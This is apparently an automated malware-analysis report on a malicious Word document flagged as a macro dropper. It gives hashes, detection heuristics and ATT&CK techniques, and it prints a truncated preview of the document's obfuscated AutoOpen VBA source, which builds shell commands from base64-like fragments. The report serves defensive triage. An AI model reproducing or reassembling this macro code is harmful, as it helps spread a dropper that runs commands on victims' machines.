Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d9c3cab17e9bb651…

MALICIOUS

Office (OLE)

90.5 KB Created: 2017-11-02 15:47:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 93f33f9e5b102215210876358b143f34 SHA-1: 33c5bc9211c4e770e43cb603b1437233cfa9d6d0 SHA-256: d9c3cab17e9bb651c5a8602dd534e7b3f2bfa2908d948fe3b83509d28a1937bc
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is configured to execute a shell command, as indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics. This strongly suggests the document's purpose is to download and execute a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6368609-0' further supports this assessment.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6368609-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6368609-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49631 bytes
SHA-256: 8ab729395c46aa4494708130386b8229a21fdf76dc6fdac11283eea8403df210
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 76 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zzWcqrAsz"
Function hhCvqPcHb()
hRNwrSH = wvbNjLvG
tYzCKKwPG = Mid("AXP0B3qphzQ8tAOAzADIAJgA2ADEAOgAzADIAegAxADEAMAA8ADEAMAAxADoAMQAxADkAJgA0ADUAbAAxADEAMQBnADkAOAB6ADEAMAA2AGcAMQAwADEAegA5ADkAJgAxADEANgBXADMAMgAmADgAMwro", 16, 136)
UjYlbfPWnGp = tYzCKKwPG
ZBiGvUB = WWGNWanz
pbFtzAKDfz = Mid("dFDawIjADkAewA0ADYAOgAxADAAMAAmADEAMAAxADoANAA3AG8ANgA3ACYAMQAxADAAbwA3ADkAbAA5ADgariq", 8, 75)
XprmIrmMX = pbFtzAKDfz
itjHWHQ = hziuvZKW
QLjsAvfUGHA = Mid("jrkA3nCAgACcAcatO", 8, 7)
FVqzXTctbc = QLjsAvfUGHA
pHhuRtX = sjbjuqsi
aqOBpMhI = Mid("IA966gBXADUAOAB7ADQANwBXADQANwA8ADQAOABsADUANQBXADQANgB6ADEAMQA1AHsAMQAwADcAOgA0ADcAbAA3ADIAPAA0ADcAcgAzADkAcgA0ADYAJglEm2cJwqXRiqJ2wc1B0vT98doiB", 6, 113)
WBijnzU = aqOBpMhI
wjJvzTw = EZwJTjbB
swzukKvh = Mid("MTcWzwfI2DEAcgAxADEAOQB7ADQANQA8ADEAMQAxACYAOQA4AGcAMQAwADYAbAAxADAAMQAmADkAOQA8ADEAMQA2AHIAMwAyAGcAMQAxADQAJgA5ADcAbAAxADEAMAB7ADEAMAAwAFcAMQAxADEAbAAxADAAOQByADUAOQBnADMANgBXADEAMQA3ADoAMQAxvpVVwvXWjJADcUifvE2q", 10, 183)
lFEFnCbs = swzukKvh
ZbMAQFp = jVGGBDfq
DMOXjVGHM = Mid("MwAuibCZmqCEqf3SBjpm6ADMAMgBXADEAMQAwAG8AMQAwAPwwNn", 21, 26)
IkNAKEiiUtr = DMOXjVGHM
MZoSiNm = dNDtCIvI
wnmnqXRPAM = Mid("YsAMQAxADUAewAzADIAZwAzADYAbAAxADEAMgB7ADkANwBXADEAMQA2AHIAMQAwADQAZwA1ADkAewA5ADgAZwAxADEANABXADEAMAAxADwAOK2TMPF5o2z3o0pRGdvR9IKDRw88LfrvzXpNuAY", 2, 107)
ohYNpGN = wnmnqXRPAM
ZqRfCEi = qcZHAnpq
JhVmTazNi = Mid("FZfVDHdIcAMwAyACYAMwA5ADwANAA2AGwAMQAwADEAbwAxADIAMAB7ADEAMAAxAGwAMwA5AFcANQA5AGcAMQAwADIAbwAxADEAMQB6ADEAMQA0AG8AMQAwADEAPAA5ADcAPAA5ADkAJgAxADAANAByADQAMAA6ADMANgBsADEAMQA3AG8AMQAxADQAVwAxADAAOABnADMAfzKjht9I7AHvz8F", 9, 194)
lQiFKuBkIFG = JhVmTazNi
RtZiljf = NtomwzwW
kwjjYjTnaA = Mid("h8bW4nYANAByADEAMAA0AFcAMQAxADYAcgAxADEANgByADEAMQAyAFcANQA4AHsANAA3AFcANAA3ADwAMQAwADAAOgAxJLUfzAzvrIDA1pjo8UcSn", 8, 85)
wFdKBMZFti = kwjjYjTnaA
CjkNhPk = XdmiiMta
KYBnosGWrdB = Mid("QAqADAAMQA6ADEAMQA0AGcANAA1AG8AMQAwADEAJgAxADAAMABvADEAMAAxADoANAA2AHoAMQAwADAAZwAxADAAMQByADQANwByADgAMgAmADcAMAByADEAMAAyAHoAMQAxADgAegA4ADAAbwAxADALMa03BWchau61ov", 4, 147)
jwFObIdsKHm = KYBnosGWrdB
NzoWlAd = ZKYucXrP
Zrdimnw = Mid("S6utPuE1YBnADEAMgAxAG8AMQAxADUAZwAxADEANgBvADEAMAAxAGwAMQAwADkAPAA0ADYAVwA3ADgAPAAxADAAMQB6ADEAMQA2AG8ANAA2AHIAOAA3AFcAMupvvQkwZaHNUAWmb8tV", 10, 111)
rUAmO = Zrdimnw
GitFXaP = ZHbhVwwG
VFjKHA = Mid("lUAcgAxADEANgBnADMAMgAmADMANgBsADkANQByADQANgA6ADYAOQAmADEAMgAwAHoAOQA5AHoAMQAwADEAPAAx5UDw1WVLD07I8pUiBdLFafi7zvX8zv8SifiRT", 2, 86)
bfjSkqP = VFjKHA
ASUSbnJ = dLWYHaon
wDosLHIoH = Mid("D9vbi0SIZuHA4wJ6YNzMcQA3AHIAMQAwADcAJgA1ADkAewAxADIANQAmADkAOQA6ADkANwA8ADEAMQA2AFcAOQA5AHIAMQAwADQAcgAxADIAMwByADEAMQA5ACYAMQAxADQAJgAxADAANQBIBi0rhF1NdTdXP", 22, 122)
DqhAcl = wDosLHIoH
mMjNjvo = GWAzZjvD
vpHDF = Mid("6565OZAwADcAOgA5ADcAewAxADAAOQAmADEAMQAyAGwANAA2AGwAOQA5AGwAMQAxADEAJgAxADAAOQByADQANwB6ADkANwBvADcANAByADQANwAmADQj2S9DwVwiE4VwY6ibJjEHKkZ", 7, 109)
bOXUluz = vpHDF
fhdDYbI = FQcwFijw
LAIQVZila = Mid("wins9HtlKvujfslDYAbwAxADAANAAmADQAMQBsADUAOQA6ADgAMwBvADEAMQA2AGwAOQA3AHsAMQAxADQAbwAxADEANgA6ADQANQA6ADgAMAAmADEAMQA0ACYAMQAxADEAPAA5ADkAbAAxADAAMQBvADEAMQA1AHsHHX96lvOEWzq6", 16, 145)
rvPSiSmjqi = LAIQVZila
TplUoVo = jQLLMzRd
cUjJilvmEP = Mid("0itzJzA4ADMAZwAxADEAMgBvADEAMAA4ACYAMQAwADUAegAxADEANgBXADQAMABsADMAOQBvADQANAB6ADMAOQBsADQAMQByADUAOQAmADMANgByADEAMQAwAGwAOQCFkMDhKS5S18sQ8zIjtRZ9jiOij8m", 7, 120)
NFFvKtd = cUjJilvmEP
NciHqrd = WQLiGQkj
JYuwXPsOwXQ = Mid("dO8u72YomL9CkLbw7K9s92hoiQA5AG8AMQAxADQAcgAxADAANQAmADEAMQAyAHsAMQAxADYAbwAzADIAVwA2ADEAJgAzADIAegAxADEAMABnADEAMAAxADoAMQAxADkAJgA0ADUAcgAxADEAMQB7ADkAOAA8ADEAMAA2ACYAMQAwADEAbwA5ADkAPAAxADEANgBnADMAMgA8ADQANQB7YBoXo2VHB", 26, 187)
JXfzXz = JYuwXPsOwXQ
qGWYhHo = MGiqwNsM
CwXjjMYtLWC = Mid("QlSset %OPjULtpOj%=wers&&set %aTaYSicqH%=FsPAfEiTD&&seUhjCoEjzFj9Qh5SfoV", 4, 51)
tEXuTS
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.